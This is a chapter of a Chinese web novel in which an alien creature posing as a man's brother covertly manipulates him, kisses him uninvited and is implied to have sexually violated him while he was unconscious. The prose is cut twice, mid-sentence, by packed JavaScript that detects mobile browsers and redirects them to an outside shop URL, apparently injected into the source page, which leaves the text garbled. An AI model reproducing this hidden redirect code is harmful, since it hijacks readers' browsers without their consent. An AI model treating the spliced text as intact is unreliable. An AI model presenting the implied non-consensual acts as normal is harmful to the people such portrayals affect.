关于人类的交.合方式,研究所的饲养员们已经研究过多次,可惜丁明昭很明显对这些不感兴趣,过去二十几年的记忆里并没有给它们提供太多参考的线索。 它们只能知道一些最基础的信息,源自于初高中的生理课,还有一些零散的碎片,源自于丁明昭少数几次自读时的助兴影片。 丁一第九十九次打开影片,像学习养殖的农场主一样,开始新一轮的钻研。 11. 爱 首先,按照人类的交.配规则,它需要先和它的人类培养出“感情”。 没错,人类这种生物居然无法通过语言以外的方式和同类沟通,也无法向其他个体直接展示意识,所以终生封闭、孤独,需要用非常麻烦的手段才能“心意相通”,而且即便和相当亲密的同伴一起,也总是在制造误解。 而对于丁一的族类来说,在第一次确立关系的时候,它们就会互相吃掉对方的雄蕊或者雌蕊,接着在首次神.交的刺激下,自己的身体里慢慢会长出对方的器官。 从此之后,它们无需任何言语,能直接接收到对方的所有想法,也无需再使用麻烦的交.配手段,只需将两道蕊相连,便能感受无上的愉悦——当然,它们偶尔也会使用更低级的腕足,增加一点粗鲁的动物趣味。 相比起来,人类简直麻烦到不可思议。 丁一不得不仔细回顾它和人类的相处方式。 这段时间它一直在学习人类语言,并且积极和他沟通,解答他的疑问,安抚他的情绪,满足他的需求……他一定已经“爱上”它,否则也不会用“唯一的家人”来形容他们之间的关系。 那么接下来,就可以继续下面的琐碎步骤了。丁一满意地想。 第一步,低效的语言交流,释放交.配信息; 第二步,初步的肢体试探,握手,接吻,拥抱; 到第三步最终交.配,还得找一个让人类感到足够安全的巢穴,选择神交以外的更低级方式,正式触碰,抚摸,交叠,直到种子的互换。 ——真麻烦。 它从更高维的视角注视着溶液里的生物,一边烦躁不耐,一边研究怎么把腕足变得像人类的尾巴那样小巧玲珑。 等捏造到一半,它忽然意识到一个问题。 人类的生理构造与它们并不相同,如果只是为了获取种子,它只需将神经元爬到那脆弱的管道里,对方就会轻而易举妥协。 他们之间是不需要□□的。 即便他吃掉了它的雄蕊。 …… 怪物陷入短暂静止。 静止之后,那团灰色的雾气继续缓慢流动起来,巨蟒般的躯干上浮现出绿色的荧光。 它若无其事地继续修改起自己的腕足,开始规划下一次该如何改良“取种子”的工作。 …… 丁明昭感觉自己做了很漫长的梦。 梦里面,他变成了一个开始发育的婴儿,四肢蜷缩着漂浮在冰凉的羊水之中,四周一片漆黑,耳边流淌着极轻的水声,脐带源源不断为他输送养分,滋养他的肉.身和灵魂。 他感到很安全,在梦里无意识地贴近“母亲”,而他的“母亲”是那样温柔,总会耐心回应他的每一次依恋,用羊水拥着他,用脐带抚摸他,甚至偶尔会哼起怪异的歌曲,听上去像泡沫在说话。 咕噜咕噜…… 咕噜咕噜咕噜…… 丁明昭睡得很好很好。 以至于他醒来的时候,花了足足十分钟的时间,才意识到自己叫丁明昭,已经二十六岁,不再是一个婴儿。 他缓缓吸气,抬起一只手,不太习惯地动了动,总觉得它们很陌生,好像是新长出来的。 适应了好一会,他扶着床头坐起身,双手捂住脸用力揉了揉。 ……睡觉之前他在做什么? 哦,他和哥哥吃了早饭,谈了心,然后觉得非常的热,好像发烧了。再之后—— 又是大段大段的记忆空白。 短短两天(也许是两天)的时间,他能够记起来的内容还不到两个小时。 丁明昭用力抓住床单,眉头紧皱,抓着记忆的锚点反复回想。 他记得他用力拉住丁一,跟它说“别走”,丁一回过头,脸上带着微笑,接着,他的记忆像被按了关机键的电脑般彻底黑屏。 再再之前,他正和丁一聊天,试探他们之间的关系。丁一表现得非常奇怪……没错,一切都非常奇怪。 丁一尤其奇怪。 这时,“咔哒”一声轻响,卧室门打开,门口传来了温柔的声音:“早。” 声音非常熟悉,听起来没有任何攻击性,但丁明昭整个身体忽然如遭雷劈般抽动了一下。 毫无由来地恐惧和抵触将他瞬间淹没,他汗毛倒起,背部猛地靠上床头,身体比大脑转得更快,在几乎无法思考的情况下,本能地从床头柜抽出手枪,对准来人。 黑漆漆的洞口下,他的大哥一脸无害地站在门边,神色微微呆滞,似乎被吓到了。 而看到那张脸的刹那,丁明昭居然开始直冒冷汗、头晕目眩,几乎克制不住要扣动扳手。 “昭昭?”丁一试探地轻柔开口,“噩梦了?” 丁明昭用力闭上眼,哑声道:“走……走开!” 丁一往前迈步:“还好吗?” ——砰!! 子弹擦着丁一的脚射中了木地板,在上面留下白色的弹坑。丁明昭整个人都从床上弹跳了起来,紧张地弓着身体,哑声吼道:“滚远点!” “……” 丁一停下脚步。 两秒僵持,它顺从地转过身,将卧室门带上,从丁明昭的视线范围内离开,并假装出远离的脚步声,最后再化身为一道不起眼的影子,从门缝爬到天花板,疑惑地观察着它的人类。 丁明昭还维持着那个应激的姿势,神经过敏地盯着卧室门,表情却有些茫然,不知道自己怎么了。 在确认丁一离开后,许久,他缓缓滑落到被子里,看着手里的枪,又看看地板上的弹坑,后知后觉地开始发抖。 ……他在干什么?他刚才差点杀了自己的哥哥?! 丁明昭猛地把手枪丢到一边,想立刻起身去向丁一道歉,但手刚摸到门把手,他又猛地僵住,胃里没由来地涌出强烈的恶心感。 好恶心,好想吐,好害怕,好愤怒…… 失控的情绪扭曲在一起,让他又一次头晕目眩,似乎自己在这个卧室的大门处经历了什么极其恐怖的事。 丁明昭用力闭眼,强忍了两秒,最后忍无可忍地冲进洗手间,抱着马桶撕心裂肺地呕吐。 他不知道自己睡了多久,胃里是空的,但里面居然装满了水。 大量的未知清液被他从胃里吐出,吐到最后他两眼发黑、浑身痉挛,胃都已经无力再舒张,那些“水”居然还没有吐完。 丁明昭虚弱地靠在墙上,粗重喘息,好一会没有任何动静。 就这样无力地躺了二十多分钟,他脸色苍白地撑着墙缓缓站起身,低头看向抽水马桶,里面没有任何呕吐物的痕迹,只有清水。 他按下冲水键。 抽水的声音冲击着他的鼓膜,让他勉强从耳鸣中回过神。 不对。他想。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554234|204404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 自己哪怕是精神状态最差的时候,也从来没有对丁一产生过这样的情绪,而且越焦虑就会越依赖它。 失去记忆的这段时间里,丁一对他做了什么? 丁一……他被救援回来后的三个多月里,丁一是他唯一的家人,是他全身心信任的同伴。 丁明昭表情开始扭曲,在洗手池俯身下来,洗了一把冷水脸,然后缓缓站直身体,和镜子里的自己对视,一点点努力控制表情,让那张脸看起来不像一个疯子,再勉强从嘴角勾起笑容。 他戴着这副假的笑容面具,强忍着心中的抵触,开门走到楼梯间。 丁一的房间正靠着楼梯,它房间的门虚掩着,丁明昭知道它在里面,也知道它在听、在关注。 丁明昭压着发抖,喊了一句:“哥。” 过了几秒,门后传来小心的脚步声,丁一出现在门缝之中,脸上带着故作亲昵的笑容,低声道:“宝宝。” 丁明昭的心脏咚咚狂跳,指甲陷入手心里。 他白着脸试探:“对不起,我刚才差点伤到你了,你没事吧?” 丁一微微歪头,玻璃珠般的眼睛透过门缝打量着他,评估他的状态。 这个机器人般的神情让丁明昭感到强烈的不适,他无法克制地偏过头去,躲开丁一的注视。 而就在他偏头的时候,丁一从门后走到他身前,张开手臂,将丁明昭搂进怀里。 “没事,”它一如往常地抚摸人类的头发,“没事,宝宝,别怕,是哥哥。都没事。” 这一次,丁明昭非常清晰地从它身上闻到了那股特有的味道,是一股介于草木和海鲜之间的腥气,还带着一点雨后大丽花的腐败花蕊的味道。 他脑子里顿时乱成一团,一边觉得难受,一边又诡异的依赖着这个怀抱,从它的拥抱中感到犹如母亲般的安全。 他想不起来自己是准备怎么试探丁一,只软绵绵地靠在这人怀里,听着它念咒一样重复: “没事,宝宝,别怕,没事,宝宝,真乖,是哥哥,真乖,别怕,没事。” 丁明昭的脑袋一点点靠上它的肩膀。 丁一的嘴角立刻咧开夸张的笑容,将这个动作当成许可,开始进行它的第一个步骤。 这是一个很新鲜的词汇,是它在漫长的等待中从影片里学会的。 它说: “宝宝,哥哥爱你。” 丁明昭的喉结动了一下,脸色更差了,但还是没什么反应。 丁一愉快起来,继续进行人类交.配申请的第一步:“我爱你,宝宝,爱你,哥哥爱你,宝宝,爱,爱你。” 说着,它迫不及待勾起丁明昭的下巴,微微低头,在他的嘴唇上落下一个冰凉的吻。 它做得极其小心,瞳孔直勾勾地黏在人类脸上,观察他的每一个表情,期待他接受这份新的交.配申请,甚至提前开始感到兴奋,想要给他看看自己新捏造出来的人类生zhi器官。 而丁明昭的脸瞬间白到失去了最后一点血色。 他的眼睛瞪得极圆,跟见鬼一样看着眼前的人,嘴唇开始疯狂抖动,忍了这么久的恶心之意终于直冲喉咙。 “宝宝,哥哥爱……” 话音未落。 嘭的一声,丁明昭一拳砸在了丁一身上,再将它猛地推开,转身冲到楼梯间,扶着楼梯扶手第二次剧烈呕吐了起来。 12. 巢穴 【警报!监测到饲养对象出现身体不适,正在进行扫描……】 【生理指标恶化3%,考虑轻度精神焦虑躯体化,请当值饲养员即刻开展安抚工作】 【生理指标恶化5%,不排除生理病化可能性,二次扫描中……】 【生理指标恶化8%……恶化速率过快!考虑系统接管可能性,请立刻介入!】 …… 丁一茫然又束手无策地站在一旁,左手捂着被丁明昭砸到的地方。 ……为什么? 它可以百分百肯定,自己刚才的行为完全遵守人类交.配守则,绝对是礼貌、绅士、无害且符合标准的……为什么它的人类要打它? 丁明昭还没有停下呕吐,消瘦的手指死死攥着栏杆,胃里一股一股地往外吐清水,整个身体呕吐到不停地抽搐,像是恨不得把内脏吐到地上。 丁一四周的空气飞快变得冰冷低沉。 “昭昭。”它抬脚往人类的方向走。 人类犹如一只受惊的猫,一边呕吐一边用力拍开它伸来的手,在痉挛的间隙咬着牙说:“走开!” 丁一立刻流露出悲伤的表情——这是它最近对着镜子新学的神色,它不确定自己是不是做得正确——然后故作局促地停在原地,暂且放下交.配的事情,低着头说:“对不起,宝宝,哥哥笨,对不起。” 丁明昭脚边的地毯已经被打湿了一大片,他吐到彻底脱力,顺着栏杆滑坐在楼梯间,终于再次抬头看向丁一。 他眼睛里带着他自己都没有察觉的紧张和敌意。 在看到那张过目无痕的脸之后,他饱受折磨的胃又抽抽了两下。 “你刚才干什么……”他面无血色,声音沙哑,“从哪里学的?莫名其妙!” 丁一很迷惑,又往前走了半步:“家人,唯一的,你,我,唯一的。” 丁明昭:“谁家哥哥对弟弟做这种事?” 丁一不明白,比刚才更加的不明白。 “爱。”它牢记自己的四部曲,在不明白的时候选择积极主动沟通,“爱,所以家人,哥哥爱,你。” 丁明昭现在没心思听它这些乱糟糟的词句,更没心思向它解释家人和爱人的区别,只是用双臂用力搂着自己,烦躁,恐惧,抵触,满腹猜疑,下意识往后退了两步:“……别动。” 丁一“啊”了一声,定在原地,歪起头。 丁明昭甚至提不起继续试探的心思,神色阴沉地看着被水打湿的地毯,一想到自己肚子里不知道装着什么液体就恶心得发抖。 “哥,”他喉结滚动,“你给我吃什么了?为什么我胃里都是水?” 丁一眼睛里浮现出一点隐秘的愉悦,看向人类微微鼓起的腹部,想起了一些开心的画面。 它摇摇头:“不知道。” 丁明昭:“现在几点了?” 丁一老老实实回答:“10点30分。” ……整整一天的时间消失了。 丁明昭又往后退了两步,和丁一之间拉开三米的距离:“我怎么了?” 丁一道:“发烧,昏睡。” 丁明昭不信。 他稍微冷静了一些,根本没有把那个吻放在心里,满脑子都是他对丁一产生的奇怪本能。 他又退了一步,背抵在了楼梯间拐弯的栏杆处,过了好几秒才重新勾起勉强的笑容,道:“我可能睡迷糊了,哥,抱歉,我没打疼你吧?” 丁一没说话,仍然歪着头。 人类在笑。 看起来没事了。 但系统还没有停止报警:【监测到饲养对象出现躯体化症状!已记入饲养日志!】 嗯? 它忍不住想往丁明昭的方向靠近,但它每走一步,它的人类就会往后退一步,眼睛里满是警惕。 丁一:“……” “宝宝,吃饭,”它选择停在原地,和它受惊的小东西保持足够的距离,“我给你做,吃饭。” 丁明昭:“好。” 说完,两人都陷入沉默,谁也没有动。 丁一:“我给你做饭。” 丁明昭终于开始动,特地走到客厅,再从另一头的楼梯上来,给丁一让开路,并确保他们之间隔得远远的:“好,你去做饭吧。” 丁一动了动嘴唇,像是还想说什么,但最后听话地走进厨房,把厨房门关了起来。 而在厨房门关闭的刹那,丁明昭脸上所有伪装的笑意都消失了,只沉沉地看着厨房的方向。 …… 剩下的五天休假,丁明昭开始躲丁一。 两人住在同一个屋檐下,但丁明昭把自己藏在卧室里,除了吃饭以外从不开门,晚上睡觉还会将门反锁。 丁一只能束手无策地放弃这个宝贵的独处交.配的机会。 丁明昭最近频繁的情绪变化已经引发系统警觉,在系统的监管之下,它只能像一个真正的饲养员一样,做它最分内的工作,每天变着法子给人类做特色餐饮,试图通过饮食来安抚人类的情绪。 但丁明昭连饭都吃得很勉强,食量越来越少,甚至到了最后一天,他干脆一整天都没有出卧室门,三顿饭都喝的营养液。 因为丁一的低气压,别墅里的气温比系统设置的要低上许多。 它非常不愉快地倒挂在卧室窗外。 丁明昭正面无表情地坐在书桌前,先是将手里的枪拆开再拼好,重复数次后把枪收回抽屉,改而开始拆手机摄像头。 一边拆,手机一边在嗡嗡地震动。 丁一挂在窗外给他发消息。 “吃饭,宝宝,出来吃饭。” “你生哥哥的气了吗?哥哥向你道歉。” “吃饭。吃饭了,吃饭,昭昭,吃饭,出来吃饭。” “吃饭了,宝宝。” “来吃饭好吗?” “哥哥做了很多饭,来吃饭。” “来吃饭吧昭昭,哥哥在等你,哥哥爱你。” …… 丁明昭半垂着眼睛,看着屏幕上飞快闪过的重复字眼,满脑子都是丁一那双大部分时候没有任何情绪的无机质眼睛。 很快,震动停了,他把整部手机拆成了一个一个的零件。 无法接收信息后,不到两分钟的时间,他的房门又响了起来。 “咚咚咚”。 外面的人无比执着,像是被设定了什么程序,无论如何都要完成往他嘴里塞食物的任务。 “咚咚咚咚咚。” “昭昭。” “咚咚咚咚,吃饭。” “吃饭,咚咚,昭昭吃饭。” “咚咚咚咚咚,吃饭,听话,吃饭。” 丁明昭手心渗出一点冷汗,脸上的神色越发冰凉,极快地将拆散的零件组装成小小的定位器和微型摄像头,定位器塞在手表里,摄像头摆放在书桌上,正对着自己的床。 “咚咚咚,吃饭了,昭昭,咚咚……” 丁明昭站起身。 他有些烦躁地说:“来了。” 丁一终于消停,不再敲门,语气里带着如释重负的期待:“宝宝开门,我送来,吃饭。” 丁明昭深吸一口气,站在门前,攥紧拳头,视线缓缓下移,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554235|204404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向底下的门缝。 阳光从走廊打进来,但外面的“人”没有投下影子。 ……是他精神出了问题,还是这个世界不对? 丁明昭第无数次如此询问自己,眉眼间带着一点阴鸷,直勾勾地盯着没有影子的地板,在丁一的再三催促中一点点把门拉开。 他的大哥端着餐盘站在门口。 在门打开的瞬间,灰色的影子从大哥的脚下延展,无比自然地投射进卧室,和丁明昭的影子亲密融合。 “吃饭,昭昭,”丁一眉眼弯着,温柔,礼貌,无害,“吃饭。” 丁明昭缓缓抬眼,注视着大哥的脸,沉默地将餐盘接过去,顺手摆在一旁的茶几上。 丁一试图走进门内,但丁明昭很快回到门边,挡住了大哥的动作。 丁一周身变得越发的冷。 “宝宝,生气?”它看起来有些无措,“哥哥错了。” 丁明昭莫名觉得,它远没有看起来的那么慌张无措,反而透出一种危险的压迫感,似乎已经对他的任性忍到了极致。 丁明昭克制住颤抖,伸出手来,握住了丁一冰冷的手腕。 丁一怔住。 他把装了定位器的手表扣在丁一腕间,嘴角勾起一点勉强的弧度:“送你的礼物。对不起,哥哥,那天我精神状态不好,差点对你开枪。” 丁一的瞳孔微微扩大,似乎在一字一字品味他说的这句话是什么意思。 “我最近情绪太差了,怕伤害到你,所以我们还是尽量不要见面,”丁明昭又说,“你是我唯一的家人,”他在这里加重了语气,“我希望你好好的,好吗?” “……” 丁一睁大眼睛,死死盯着人类的脸。 “唯一的家人?”它低声重复。 “嗯,”丁明昭说,“唯一的家人。” 他自己也开始分不清真情还是假意,喃喃道:“我不想伤害你,哥,我不是生你的气,我是在试图保护你。你……我明天就回去上班了,我会跟主任申请加一点课程,我们这段时间少接触。” 丁一感觉到了人类手掌的力度,牢牢钳在它的手腕上,手心湿热细腻。 ……真麻烦。 有那么一瞬,丁一想直接再次展露本体,看他在恐惧中选择臣服,而不是像现在这样,以人类的方式麻烦地交涉。 真麻烦,没有神经元的小东西真麻烦,好想扎进他的大脑,看看那颗小脑袋到底在转些什么。 但在丁明昭看不到的地方,它的五脏六腑亮起了鲜艳的暖色,昭示着它明显好转的心情。 四周的温度也开始诡异回升,丁一的眼球动了动,片刻后朝着它敏感又脆弱的小家伙露出和蔼笑容。 “别担心,昭昭,”它说,“不怕,哥哥会保护你。” 丁明昭“嗯”了一声,松开手:“你出去吧。” 丁一摸着那块冰凉的表,宠溺地短暂离开了小家伙的巢穴。 “嘭”,房门再次关上。在转身的刹那,丁明昭才发现自己的背已经全是冷汗。 他晦暗地看着茶几上的餐盘,打量着那些粘稠的粥水,缓缓眯起眼睛。 几分钟的沉默。 他走向茶几,端起餐盘,把食物全部倒进马桶,按下冲水键。 哗啦啦—— 碍眼的东西很快被冲进下水道,他把餐盘丢到洗漱台上,忽然感觉四周变冷了很多。 丁明昭披上外套,重新坐在书桌前,从抽屉里拿出一只新的营养剂吃掉。 后颈莫名有些痒。 他伸出手,喀嚓喀嚓地挠了几下。